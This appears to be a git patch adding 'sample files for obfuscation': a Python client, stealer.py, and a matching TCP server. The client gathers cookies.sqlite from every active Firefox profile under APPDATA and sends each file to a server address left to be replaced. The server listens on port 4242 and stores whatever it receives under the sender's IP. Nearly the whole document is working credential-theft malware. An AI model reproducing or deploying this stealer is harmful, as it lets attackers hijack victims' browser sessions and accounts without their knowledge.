From dcef48f91097264002daaa32a96bc9ad73788cd9 Mon Sep 17 00:00:00 2001 From: thomas-pommier-epi Date: Sat, 4 May 2024 15:45:40 +0200 Subject: [PATCH] added : sample files for obfuscation (server included for stealer) --- sample/client/stealer.py | 36 ++++++++++++++++++++++++++++++++ sample/server/server.py | 45 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 81 insertions(+) create mode 100644 sample/client/stealer.py create mode 100644 sample/server/server.py diff --git a/sample/client/stealer.py b/sample/client/stealer.py new file mode 100644 index 0000000..e0de574 --- /dev/null +++ b/sample/client/stealer.py @@ -0,0 +1,36 @@ +import socket +import os + +APPDATA_PATH = os.getenv('APPDATA') +FIREFOX_PROFILE_FOLDER = APPDATA_PATH + r"\Mozilla\Firefox\Profiles" + +def send_file(filename, server_address, server_port): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket: + client_socket.connect((server_address, server_port)) + + client_socket.send(filename.encode()) + + with open(filename, 'rb') as f: + while True: + data = f.read(1024) + if not data: + break + if client_socket.send(data) == 0: + print("File send failed...") + + print("File {} sent successfully.".format(filename)) + +def main(): + server_address = '127.0.0.1' # TO REPLACE + server_port = 4242 + + profile_folder = os.listdir(FIREFOX_PROFILE_FOLDER) + for profile in profile_folder: + profile_path = fr"{FIREFOX_PROFILE_FOLDER}\{profile}" + files = os.listdir(profile_path) + if len(files) <= 1: + continue # folder is not active profile + send_file(fr"{profile_path}\cookies.sqlite", server_address, server_port) + +if __name__ == "__main__": + main() diff --git a/sample/server/server.py b/sample/server/server.py new file mode 100644 index 0000000..fe03cac --- /dev/null +++ b/sample/server/server.py @@ -0,0 +1,45 @@ +import socket +import os + +def safe_write(raw_filename): + i = 1 + while True: + filename = '{}-{:02.0f}.txt'.format(raw_filename, i) + if os.path.isfile(filename): + i += 1 + continue + return open(filename, 'wb') + +def save_file(connection, filename): + with safe_write(filename) as f: + while True: + data = connection.recv(1024) + if not data: + break + f.write(data) + print("File {} received and saved successfully.".format(filename)) + +def main(): + host = '0.0.0.0' # 0.0.0.0 for any IP + port = 4242 + + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + server_socket.bind((host, port)) + server_socket.listen(1) # listen for one incoming connection + + print("Server listening on {}:{}".format(host, port)) + + while True: + client_socket, addr = server_socket.accept() + print("Connection from:", addr) + + save_file(client_socket, f"data_{addr[0]}") + + client_socket.close() + except KeyboardInterrupt: + server_socket.close() + +if __name__ == "__main__": + main()